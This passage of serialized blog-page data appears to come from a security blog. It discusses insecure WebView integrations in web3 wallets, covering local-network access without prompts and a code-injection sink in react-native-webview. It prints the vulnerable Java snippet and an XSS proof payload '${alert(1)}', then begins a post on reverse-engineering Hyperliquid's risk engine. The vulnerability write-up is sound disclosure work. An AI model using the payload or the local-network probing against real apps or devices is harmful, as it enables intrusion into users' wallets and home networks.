",{"type":21,"tag":85,"props":158637,"children":158638},{"style":102},[158639],{"type":26,"value":34555},{"type":21,"tag":85,"props":158641,"children":158642},{"style":120},[158643],{"type":26,"value":3918},{"type":21,"tag":85,"props":158645,"children":158646},{"style":169},[158647],{"type":26,"value":73},{"type":21,"tag":85,"props":158649,"children":158650},{"style":120},[158651],{"type":26,"value":158652},"latitude",{"type":21,"tag":85,"props":158654,"children":158655},{"style":169},[158656],{"type":26,"value":73},{"type":21,"tag":85,"props":158658,"children":158659},{"style":1021},[158660],{"type":26,"value":158661},"toFixed",{"type":21,"tag":85,"props":158663,"children":158664},{"style":169},[158665],{"type":26,"value":1439},{"type":21,"tag":85,"props":158667,"children":158668},{"style":2285},[158669],{"type":26,"value":4779},{"type":21,"tag":85,"props":158671,"children":158672},{"style":169},[158673],{"type":26,"value":1900},{"type":21,"tag":85,"props":158675,"children":158676},{"style":102},[158677],{"type":26,"value":34587},{"type":21,"tag":85,"props":158679,"children":158680},{"style":48828},[158681],{"type":26,"value":48831},{"type":21,"tag":85,"props":158683,"children":158684},{"style":5026},[158685],{"type":26,"value":158686},"Lon: ",{"type":21,"tag":85,"props":158688,"children":158689},{"style":102},[158690],{"type":26,"value":34555},{"type":21,"tag":85,"props":158692,"children":158693},{"style":120},[158694],{"type":26,"value":3918},{"type":21,"tag":85,"props":158696,"children":158697},{"style":169},[158698],{"type":26,"value":73},{"type":21,"tag":85,"props":158700,"children":158701},{"style":120},[158702],{"type":26,"value":158703},"longitude",{"type":21,"tag":85,"props":158705,"children":158706},{"style":169},[158707],{"type":26,"value":73},{"type":21,"tag":85,"props":158709,"children":158710},{"style":1021},[158711],{"type":26,"value":158661},{"type":21,"tag":85,"props":158713,"children":158714},{"style":169},[158715],{"type":26,"value":1439},{"type":21,"tag":85,"props":158717,"children":158718},{"style":2285},[158719],{"type":26,"value":4779},{"type":21,"tag":85,"props":158721,"children":158722},{"style":169},[158723],{"type":26,"value":1900},{"type":21,"tag":85,"props":158725,"children":158726},{"style":102},[158727],{"type":26,"value":34587},{"type":21,"tag":85,"props":158729,"children":158730},{"style":5026},[158731],{"type":26,"value":10797},{"type":21,"tag":85,"props":158733,"children":158734},{"style":169},[158735],{"type":26,"value":2535},{"type":21,"tag":85,"props":158737,"children":158738},{"class":87,"line":24223},[158739,158744,158748,158752,158757,158761,158765],{"type":21,"tag":85,"props":158740,"children":158741},{"style":169},[158742],{"type":26,"value":158743},"                }, ",{"type":21,"tag":85,"props":158745,"children":158746},{"style":120},[158747],{"type":26,"value":48875},{"type":21,"tag":85,"props":158749,"children":158750},{"style":102},[158751],{"type":26,"value":28194},{"type":21,"tag":85,"props":158753,"children":158754},{"style":1021},[158755],{"type":26,"value":158756}," alert",{"type":21,"tag":85,"props":158758,"children":158759},{"style":169},[158760],{"type":26,"value":1439},{"type":21,"tag":85,"props":158762,"children":158763},{"style":120},[158764],{"type":26,"value":48875},{"type":21,"tag":85,"props":158766,"children":158767},{"style":169},[158768],{"type":26,"value":1569},{"type":21,"tag":85,"props":158770,"children":158771},{"class":87,"line":24260},[158772],{"type":21,"tag":85,"props":158773,"children":158774},{"style":169},[158775],{"type":26,"value":48529},{"type":21,"tag":85,"props":158777,"children":158778},{"class":87,"line":24273},[158779],{"type":21,"tag":85,"props":158780,"children":158781},{"emptyLinePlaceholder":16},[158782],{"type":26,"value":703},{"type":21,"tag":85,"props":158784,"children":158785},{"class":87,"line":24286},[158786],{"type":21,"tag":85,"props":158787,"children":158788},{"style":169},[158789],{"type":26,"value":4118},{"type":21,"tag":85,"props":158791,"children":158792},{"class":87,"line":24299},[158793,158798],{"type":21,"tag":85,"props":158794,"children":158795},{"style":1021},[158796],{"type":26,"value":158797},"        main",{"type":21,"tag":85,"props":158799,"children":158800},{"style":169},[158801],{"type":26,"value":4437},{"type":21,"tag":85,"props":158803,"children":158804},{"class":87,"line":24353},[158805,158809,158813],{"type":21,"tag":85,"props":158806,"children":158807},{"style":32821},[158808],{"type":26,"value":33274},{"type":21,"tag":85,"props":158810,"children":158811},{"style":102},[158812],{"type":26,"value":32861},{"type":21,"tag":85,"props":158814,"children":158815},{"style":32821},[158816],{"type":26,"value":313},{"type":21,"tag":85,"props":158818,"children":158819},{"class":87,"line":24362},[158820,158824,158828],{"type":21,"tag":85,"props":158821,"children":158822},{"style":32821},[158823],{"type":26,"value":32875},{"type":21,"tag":85,"props":158825,"children":158826},{"style":102},[158827],{"type":26,"value":32845},{"type":21,"tag":85,"props":158829,"children":158830},{"style":32821},[158831],{"type":26,"value":313},{"type":21,"tag":85,"props":158833,"children":158834},{"class":87,"line":32726},[158835,158839,158843],{"type":21,"tag":85,"props":158836,"children":158837},{"style":32821},[158838],{"type":26,"value":32875},{"type":21,"tag":85,"props":158840,"children":158841},{"style":102},[158842],{"type":26,"value":32828},{"type":21,"tag":85,"props":158844,"children":158845},{"style":32821},[158846],{"type":26,"value":313},{"type":21,"tag":19318,"props":158848,"children":158849},{"id":4994},[158850],{"type":26,"value":4997},{"type":21,"tag":22,"props":158852,"children":158853},{},[158854],{"type":26,"value":158855},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":21,"tag":22,"props":158857,"children":158858},{},[158859,158861,158867],{"type":26,"value":158860},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":21,"tag":335,"props":158862,"children":158865},{"href":158863,"rel":158864},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[339],[158866],{"type":26,"value":48039},{"type":26,"value":73},{"type":21,"tag":31791,"props":158869,"children":158870},{"style":31793},[158871],{"type":21,"tag":4681,"props":158872,"children":158876},{"src":158873,"alt":158874,"style":158875},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":158878,"children":158879},{},[158880],{"type":26,"value":158881},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":21,"tag":54,"props":158883,"children":158885},{"id":158884},"local-network-access",[158886],{"type":26,"value":158887},"Local Network Access",{"type":21,"tag":22,"props":158889,"children":158890},{},[158891,158893,158900,158902,158908],{"type":26,"value":158892},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":21,"tag":335,"props":158894,"children":158897},{"href":158895,"rel":158896},"https://wicg.github.io/private-network-access/",[339],[158898],{"type":26,"value":158899},"Private Network Access",{"type":26,"value":158901}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":21,"tag":335,"props":158903,"children":158906},{"href":158904,"rel":158905},"https://x.com/taviso/status/2051310678800253318",[339],[158907],{"type":26,"value":158904},{"type":26,"value":158909},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":21,"tag":31791,"props":158911,"children":158912},{"style":31793},[158913],{"type":21,"tag":4681,"props":158914,"children":158917},{"src":158915,"alt":158874,"style":158916},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":158919,"children":158920},{},[158921],{"type":26,"value":158922},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":21,"tag":158924,"props":158925,"children":158928},"zoom-image",{"src":158926,"alt":158927},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":21,"tag":22,"props":158930,"children":158931},{},[158932],{"type":26,"value":158933},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":21,"tag":17108,"props":158935,"children":158936},{},[158937,158942,158947],{"type":21,"tag":845,"props":158938,"children":158939},{},[158940],{"type":26,"value":158941},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":21,"tag":845,"props":158943,"children":158944},{},[158945],{"type":26,"value":158946},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":21,"tag":845,"props":158948,"children":158949},{},[158950],{"type":26,"value":158951},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":21,"tag":22,"props":158953,"children":158954},{},[158955],{"type":26,"value":158956},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":21,"tag":54,"props":158958,"children":158960},{"id":158959},"uxss-by-code-injection",[158961],{"type":26,"value":158962},"UXSS by Code Injection",{"type":21,"tag":22,"props":158964,"children":158965},{},[158966,158968,158974],{"type":26,"value":158967},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":21,"tag":66,"props":158969,"children":158971},{"className":158970},[],[158972],{"type":26,"value":158973},"injectJavascriptObject",{"type":26,"value":158975}," attribute worked. Here is the code snippet:",{"type":21,"tag":75,"props":158977,"children":158979},{"className":157215,"code":158978,"language":157217,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[158980],{"type":21,"tag":66,"props":158981,"children":158982},{"__ignoreMap":7},[158983,159003,159032,159066,159121,159226,159238,159251],{"type":21,"tag":85,"props":158984,"children":158985},{"class":87,"line":88},[158986,158990,158994,158999],{"type":21,"tag":85,"props":158987,"children":158988},{"style":102},[158989],{"type":26,"value":71243},{"type":21,"tag":85,"props":158991,"children":158992},{"style":108},[158993],{"type":26,"value":51505},{"type":21,"tag":85,"props":158995,"children":158996},{"style":1021},[158997],{"type":26,"value":158998}," injectJavascriptObject",{"type":21,"tag":85,"props":159000,"children":159001},{"style":114},[159002],{"type":26,"value":16156},{"type":21,"tag":85,"props":159004,"children":159005},{"class":87,"line":98},[159006,159010,159014,159019,159023,159028],{"type":21,"tag":85,"props":159007,"children":159008},{"style":2885},[159009],{"type":26,"value":39735},{"type":21,"tag":85,"props":159011,"children":159012},{"style":114},[159013],{"type":26,"value":717},{"type":21,"tag":85,"props":159015,"children":159016},{"style":1021},[159017],{"type":26,"value":159018},"getSettings",{"type":21,"tag":85,"props":159020,"children":159021},{"style":114},[159022],{"type":26,"value":30612},{"type":21,"tag":85,"props":159024,"children":159025},{"style":1021},[159026],{"type":26,"value":159027},"getJavaScriptEnabled",{"type":21,"tag":85,"props":159029,"children":159030},{"style":114},[159031],{"type":26,"value":92483},{"type":21,"tag":85,"props":159033,"children":159034},{"class":87,"line":151},[159035,159040,159045,159049,159054,159058,159062],{"type":21,"tag":85,"props":159036,"children":159037},{"style":108},[159038],{"type":26,"value":159039},"        String",{"type":21,"tag":85,"props":159041,"children":159042},{"style":120},[159043],{"type":26,"value":159044}," js",{"type":21,"tag":85,"props":159046,"children":159047},{"style":169},[159048],{"type":26,"value":1941},{"type":21,"tag":85,"props":159050,"children":159051},{"style":5026},[159052],{"type":26,"value":159053}," \"(function(){",{"type":21,"tag":85,"props":159055,"children":159056},{"style":48828},[159057],{"type":26,"value":48831},{"type":21,"tag":85,"props":159059,"children":159060},{"style":5026},[159061],{"type":26,"value":20487},{"type":21,"tag":85,"props":159063,"children":159064},{"style":169},[159065],{"type":26,"value":10202},{"type":21,"tag":85,"props":159067,"children":159068},{"class":87,"line":160},[159069,159074,159078,159083,159087,159092,159096,159100,159104,159109,159113,159117],{"type":21,"tag":85,"props":159070,"children":159071},{"style":5026},[159072],{"type":26,"value":159073},"          \"    window.\"",{"type":21,"tag":85,"props":159075,"children":159076},{"style":169},[159077],{"type":26,"value":3274},{"type":21,"tag":85,"props":159079,"children":159080},{"style":114},[159081],{"type":26,"value":159082}," JAVASCRIPT_INTERFACE ",{"type":21,"tag":85,"props":159084,"children":159085},{"style":169},[159086],{"type":26,"value":5151},{"type":21,"tag":85,"props":159088,"children":159089},{"style":5026},[159090],{"type":26,"value":159091}," \" = window.\"",{"type":21,"tag":85,"props":159093,"children":159094},{"style":169},[159095],{"type":26,"value":3274},{"type":21,"tag":85,"props":159097,"children":159098},{"style":114},[159099],{"type":26,"value":159082},{"type":21,"tag":85,"props":159101,"children":159102},{"style":169},[159103],{"type":26,"value":5151},{"type":21,"tag":85,"props":159105,"children":159106},{"style":5026},[159107],{"type":26,"value":159108}," \" || {};",{"type":21,"tag":85,"props":159110,"children":159111},{"style":48828},[159112],{"type":26,"value":48831},{"type":21,"tag":85,"props":159114,"children":159115},{"style":5026},[159116],{"type":26,"value":20487},{"type":21,"tag":85,"props":159118,"children":159119},{"style":169},[159120],{"type":26,"value":10202},{"type":21,"tag":85,"props":159122,"children":159123},{"class":87,"line":185},[159124,159128,159132,159136,159140,159145,159149,159154,159158,159162,159166,159170,159174,159178,159183,159187,159192,159196,159201,159205,159209,159214,159218,159222],{"type":21,"tag":85,"props":159125,"children":159126},{"style":5026},[159127],{"type":26,"value":159073},{"type":21,"tag":85,"props":159129,"children":159130},{"style":169},[159131],{"type":26,"value":3274},{"type":21,"tag":85,"props":159133,"children":159134},{"style":114},[159135],{"type":26,"value":159082},{"type":21,"tag":85,"props":159137,"children":159138},{"style":169},[159139],{"type":26,"value":5151},{"type":21,"tag":85,"props":159141,"children":159142},{"style":5026},[159143],{"type":26,"value":159144}," \".injectedObjectJson = function () { return \"",{"type":21,"tag":85,"props":159146,"children":159147},{"style":169},[159148],{"type":26,"value":3274},{"type":21,"tag":85,"props":159150,"children":159151},{"style":114},[159152],{"type":26,"value":159153}," (injectedJavaScriptObject ",{"type":21,"tag":85,"props":159155,"children":159156},{"style":169},[159157],{"type":26,"value":2936},{"type":21,"tag":85,"props":159159,"children":159160},{"style":102},[159161],{"type":26,"value":70729},{"type":21,"tag":85,"props":159163,"children":159164},{"style":2885},[159165],{"type":26,"value":98503},{"type":21,"tag":85,"props":159167,"children":159168},{"style":102},[159169],{"type":26,"value":70729},{"type":21,"tag":85,"props":159171,"children":159172},{"style":2885},[159173],{"type":26,"value":35563},{"type":21,"tag":85,"props":159175,"children":159176},{"style":114},[159177],{"type":26,"value":717},{"type":21,"tag":85,"props":159179,"children":159180},{"style":5026},[159181],{"type":26,"value":159182},"\"`\"",{"type":21,"tag":85,"props":159184,"children":159185},{"style":169},[159186],{"type":26,"value":3274},{"type":21,"tag":85,"props":159188,"children":159189},{"style":114},[159190],{"type":26,"value":159191}," injectedJavaScriptObject ",{"type":21,"tag":85,"props":159193,"children":159194},{"style":169},[159195],{"type":26,"value":5151},{"type":21,"tag":85,"props":159197,"children":159198},{"style":5026},[159199],{"type":26,"value":159200}," \"`\"",{"type":21,"tag":85,"props":159202,"children":159203},{"style":114},[159204],{"type":26,"value":3204},{"type":21,"tag":85,"props":159206,"children":159207},{"style":169},[159208],{"type":26,"value":5151},{"type":21,"tag":85,"props":159210,"children":159211},{"style":5026},[159212],{"type":26,"value":159213}," \"; };",{"type":21,"tag":85,"props":159215,"children":159216},{"style":48828},[159217],{"type":26,"value":48831},{"type":21,"tag":85,"props":159219,"children":159220},{"style":5026},[159221],{"type":26,"value":20487},{"type":21,"tag":85,"props":159223,"children":159224},{"style":169},[159225],{"type":26,"value":10202},{"type":21,"tag":85,"props":159227,"children":159228},{"class":87,"line":501},[159229,159234],{"type":21,"tag":85,"props":159230,"children":159231},{"style":5026},[159232],{"type":26,"value":159233},"          \"})();\"",{"type":21,"tag":85,"props":159235,"children":159236},{"style":114},[159237],{"type":26,"value":2535},{"type":21,"tag":85,"props":159239,"children":159240},{"class":87,"line":697},[159241,159246],{"type":21,"tag":85,"props":159242,"children":159243},{"style":1021},[159244],{"type":26,"value":159245},"        evaluateJavascriptWithFallback",{"type":21,"tag":85,"props":159247,"children":159248},{"style":114},[159249],{"type":26,"value":159250},"(js);\n",{"type":21,"tag":85,"props":159252,"children":159253},{"class":87,"line":706},[159254],{"type":21,"tag":85,"props":159255,"children":159256},{"style":114},[159257],{"type":26,"value":13081},{"type":21,"tag":22,"props":159259,"children":159260},{},[159261,159263,159269,159271,159276,159278,159284],{"type":26,"value":159262},"It basically injects a javascript code with the ",{"type":21,"tag":66,"props":159264,"children":159266},{"className":159265},[],[159267],{"type":26,"value":159268},"injectedJavascriptObject",{"type":26,"value":159270}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":21,"tag":66,"props":159272,"children":159274},{"className":159273},[],[159275],{"type":26,"value":159268},{"type":26,"value":159277},". If we control a single attribute we can inject a payload like ",{"type":21,"tag":66,"props":159279,"children":159281},{"className":159280},[],[159282],{"type":26,"value":159283},"${alert(1)}",{"type":26,"value":159285}," and achieve XSS in the context of the loaded page.",{"type":21,"tag":22,"props":159287,"children":159288},{},[159289,159291,159298],{"type":26,"value":159290},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":21,"tag":335,"props":159292,"children":159295},{"href":159293,"rel":159294},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[339],[159296],{"type":26,"value":159297},"PR with the report and fix",{"type":26,"value":73},{"type":21,"tag":22,"props":159300,"children":159301},{},[159302],{"type":26,"value":159303},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":21,"tag":22,"props":159305,"children":159306},{},[159307,159309,159315],{"type":26,"value":159308},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":21,"tag":66,"props":159310,"children":159312},{"className":159311},[],[159313],{"type":26,"value":159314},"injectedJavaScriptObject",{"type":26,"value":159316}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":21,"tag":10022,"props":159318,"children":159319},{"id":29375},[159320],{"type":26,"value":19373},{"type":21,"tag":22,"props":159322,"children":159323},{},[159324],{"type":26,"value":159325},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":21,"tag":3632,"props":159327,"children":159328},{},[159329],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":159331},[159332,159336,159339,159340],{"id":157055,"depth":98,"text":157058,"children":159333},[159334,159335],{"id":157066,"depth":151,"text":157069},{"id":157141,"depth":151,"text":157144},{"id":157174,"depth":98,"text":157177,"children":159337},[159338],{"id":157364,"depth":151,"text":157367},{"id":158884,"depth":98,"text":158887},{"id":158959,"depth":98,"text":158962,"children":159341},[159342],{"id":29375,"depth":151,"text":19373},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":159347,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":159348,"description":159349,"date":159350,"author":159351,"image":159352,"isFeatured":16,"onBlogPage":16,"tags":159356,"hideToc":16,"body":159360,"_type":3642,"_id":165999,"_source":3644,"_file":166000,"_stem":166001,"_extension":3647},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":159353,"width":159354,"height":159355},"/posts/hyperliquid-risk-engine/title.png",1456,816,[159357,159358,159359],"hyperliquid","reverse-engineering","defi",{"type":18,"children":159361,"toc":165971},[159362,159368,159376,159381,159386,159391,159403,159408,159421,159440,159446,159458,159471,159476,159507,159512,159525,159530,159721,159727,159732,159744,159750,159755,159761,159774,159808,159813,159818,159830,159836,159856,159864,159877,159883,159894,159900,159912,159917,159923,159943,159951,159957,159991,159995,160031,160036,160041,160046,160059,160096,160101,160115,160121,160126,160152,160160,160165,160193,160198,160203,160541,160546,160551,160571,160598,160603,160616,160628,160633,160638,160644,160649,160654,160668,160673,160679,160707,160744,160755,160759,160764,160769,160775,160941,160976,160981,160987,160993,161182,161195,161200,161206,161227,161232,161238,161243,161248,161260,161265,161270,161276,161281,161286,161292,161298,161311,161344,161349,163925,164193,164198,165528,165533,165538,165550,165641,165653,165658,165664,165669,165677,165682,165690,165696,165730,165741,165749,165755,165761,165766,165774,165779,165784,165792,165804,165810,165815,165821,165832,165837,165843,165848,165853,165859,165864,165867,165872,165877,165883,165888,165900,165905,165910],{"type":21,"tag":54,"props":159363,"children":159365},{"id":159364},"perpetuals",[159366],{"type":26,"value":159367},"Perpetuals",{"type":21,"tag":3712,"props":159369,"children":159370},{},[159371],{"type":21,"tag":22,"props":159372,"children":159373},{},[159374],{"type":26,"value":159375},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":21,"tag":22,"props":159377,"children":159378},{},[159379],{"type":26,"value":159380},"What does that even have to do with reverse engineering?",{"type":21,"tag":54,"props":159382,"children":159383},{"id":159357},[159384],{"type":26,"value":159385},"Hyperliquid",{"type":21,"tag":22,"props":159387,"children":159388},{},[159389],{"type":26,"value":159390},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":21,"tag":22,"props":159392,"children":159393},{},[159394,159396,159401],{"type":26,"value":159395},"The node is tasked with a ",{"type":21,"tag":39,"props":159397,"children":159398},{},[159399],{"type":26,"value":159400},"very hard problem",{"type":26,"value":159402},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":21,"tag":22,"props":159404,"children":159405},{},[159406],{"type":26,"value":159407},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":21,"tag":22,"props":159409,"children":159410},{},[159411,159413,159419],{"type":26,"value":159412},"Beyond that, the ",{"type":21,"tag":66,"props":159414,"children":159416},{"className":159415},[],[159417],{"type":26,"value":159418},"hl-node",{"type":26,"value":159420}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":21,"tag":22,"props":159422,"children":159423},{},[159424,159426,159431,159433,159438],{"type":26,"value":159425},"Armed with some curiosity, a good amount of ",{"type":21,"tag":39,"props":159427,"children":159428},{},[159429],{"type":26,"value":159430},"inference",{"type":26,"value":159432},", and the right tooling, we'll take a deep dive using an ",{"type":21,"tag":39,"props":159434,"children":159435},{},[159436],{"type":26,"value":159437},"interactive interface",{"type":26,"value":159439},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":21,"tag":54,"props":159441,"children":159443},{"id":159442},"the-million-dollar-question",[159444],{"type":26,"value":159445},"The Million Dollar Question",{"type":21,"tag":22,"props":159447,"children":159448},{},[159449,159451,159456],{"type":26,"value":159450},"Let's say a terrible trader opens a ",{"type":21,"tag":39,"props":159452,"children":159453},{},[159454],{"type":26,"value":159455},"50x",{"type":26,"value":159457}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":21,"tag":22,"props":159459,"children":159460},{},[159461,159463,159469],{"type":26,"value":159462},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":21,"tag":66,"props":159464,"children":159466},{"className":159465},[],[159467],{"type":26,"value":159468},"compute_margin_requirement_by_mode",{"type":26,"value":159470}," function.",{"type":21,"tag":22,"props":159472,"children":159473},{},[159474],{"type":26,"value":159475},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":21,"tag":159477,"props":159478,"children":159479},"tip",{},[159480],{"type":21,"tag":22,"props":159481,"children":159482},{},[159483,159485,159490,159492,159499,159501,159506],{"type":26,"value":159484},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":21,"tag":39,"props":159486,"children":159487},{},[159488],{"type":26,"value":159489},"click through",{"type":26,"value":159491}," each action performed by ",{"type":21,"tag":335,"props":159493,"children":159496},{"href":159494,"rel":159495},"https://github.com/renato-osec/patina-research",[339],[159497],{"type":26,"value":159498},"our Rust reverse engineering agent",{"type":26,"value":159500},". Return to the regular view by clicking ",{"type":21,"tag":66,"props":159502,"children":159504},{"className":159503},[],[159505],{"type":26,"value":308},{"type":26,"value":73},{"type":21,"tag":159508,"props":159509,"children":159511},"bndb-viewer-embed",{"addr":159510,"line-start":4779,"line-end":135016},"0x555556bb4d20",[],{"type":21,"tag":22,"props":159513,"children":159514},{},[159515,159517,159523],{"type":26,"value":159516},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":21,"tag":66,"props":159518,"children":159520},{"className":159519},[],[159521],{"type":26,"value":159522},"OptionUnitQty",{"type":26,"value":159524},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":21,"tag":22,"props":159526,"children":159527},{},[159528],{"type":26,"value":159529},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":21,"tag":75,"props":159531,"children":159532},{},[159533],{"type":21,"tag":66,"props":159534,"children":159537},{"className":159535},[4748,159536],"math-display",[159538],{"type":21,"tag":85,"props":159539,"children":159542},{"className":159540},[159541],"katex-display",[159543],{"type":21,"tag":85,"props":159544,"children":159546},{"className":159545},[4754],[159547],{"type":21,"tag":85,"props":159548,"children":159550},{"className":159549,"ariaHidden":4760},[4759],[159551,159582],{"type":21,"tag":85,"props":159552,"children":159554},{"className":159553},[4765],[159555,159559,159569,159573,159578],{"type":21,"tag":85,"props":159556,"children":159558},{"className":159557,"style":94922},[4770],[],{"type":21,"tag":85,"props":159560,"children":159562},{"className":159561},[4776,26],[159563],{"type":21,"tag":85,"props":159564,"children":159566},{"className":159565},[4776],[159567],{"type":26,"value":159568},"liq_equity",{"type":21,"tag":85,"props":159570,"children":159572},{"className":159571,"style":4955},[4857],[],{"type":21,"tag":85,"props":159574,"children":159576},{"className":159575},[4960],[159577],{"type":26,"value":741},{"type":21,"tag":85,"props":159579,"children":159581},{"className":159580,"style":4955},[4857],[],{"type":21,"tag":85,"props":159583,"children":159585},{"className":159584},[4765],[159586,159591],{"type":21,"tag":85,"props":159587,"children":159590},{"className":159588,"style":159589},[4770],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":21,"tag":85,"props":159592,"children":159594},{"className":159593},[4776],[159595,159599,159717],{"type":21,"tag":85,"props":159596,"children":159598},{"className":159597},[22145,114027],[],{"type":21,"tag":85,"props":159600,"children":159602},{"className":159601},[114032],[159603],{"type":21,"tag":85,"props":159604,"children":159606},{"className":159605},[4798,22070],[159607,159705],{"type":21,"tag":85,"props":159608,"children":159610},{"className":159609},[4803],[159611,159700],{"type":21,"tag":85,"props":159612,"children":159615},{"className":159613,"style":159614},[4808],"height:1.427em;",[159616,159656,159667],{"type":21,"tag":85,"props":159617,"children":159619},{"style":159618},"top:-2.314em;",[159620,159624],{"type":21,"tag":85,"props":159621,"children":159623},{"className":159622,"style":112680},[4817],[],{"type":21,"tag":85,"props":159625,"children":159627},{"className":159626},[4776],[159628,159633,159637,159642,159646],{"type":21,"tag":85,"props":159629,"children":159631},{"className":159630},[4776],[159632],{"type":26,"value":3895},{"type":21,"tag":85,"props":159634,"children":159636},{"className":159635,"style":4858},[4857],[],{"type":21,"tag":85,"props":159638,"children":159640},{"className":159639},[4863],[159641],{"type":26,"value":111771},{"type":21,"tag":85,"props":159643,"children":159645},{"className":159644,"style":4858},[4857],[],{"type":21,"tag":85,"props":159647,"children":159649},{"className":159648},[4776,26],[159650],{"type":21,"tag":85,"props":159651,"children":159653},{"className":159652},[4776],[159654],{"type":26,"value":159655},"leverage",{"type":21,"tag":85,"props":159657,"children":159658},{"style":114082},[159659,159663],{"type":21,"tag":85,"props":159660,"children":159662},{"className":159661,"style":112680},[4817],[],{"type":21,"tag":85,"props":159664,"children":159666},{"className":159665,"style":114092},[114091],[],{"type":21,"tag":85,"props":159668,"children":159670},{"style":159669},"top:-3.677em;",[159671,159675],{"type":21,"tag":85,"props":159672,"children":159674},{"className":159673,"style":112680},[4817],[],{"type":21,"tag":85,"props":159676,"children":159678},{"className":159677},[4776],[159679,159685,159695],{"type":21,"tag":85,"props":159680,"children":159682},{"className":159681},[4776],[159683],{"type":26,"value":159684},"∣",{"type":21,"tag":85,"props":159686,"children":159688},{"className":159687}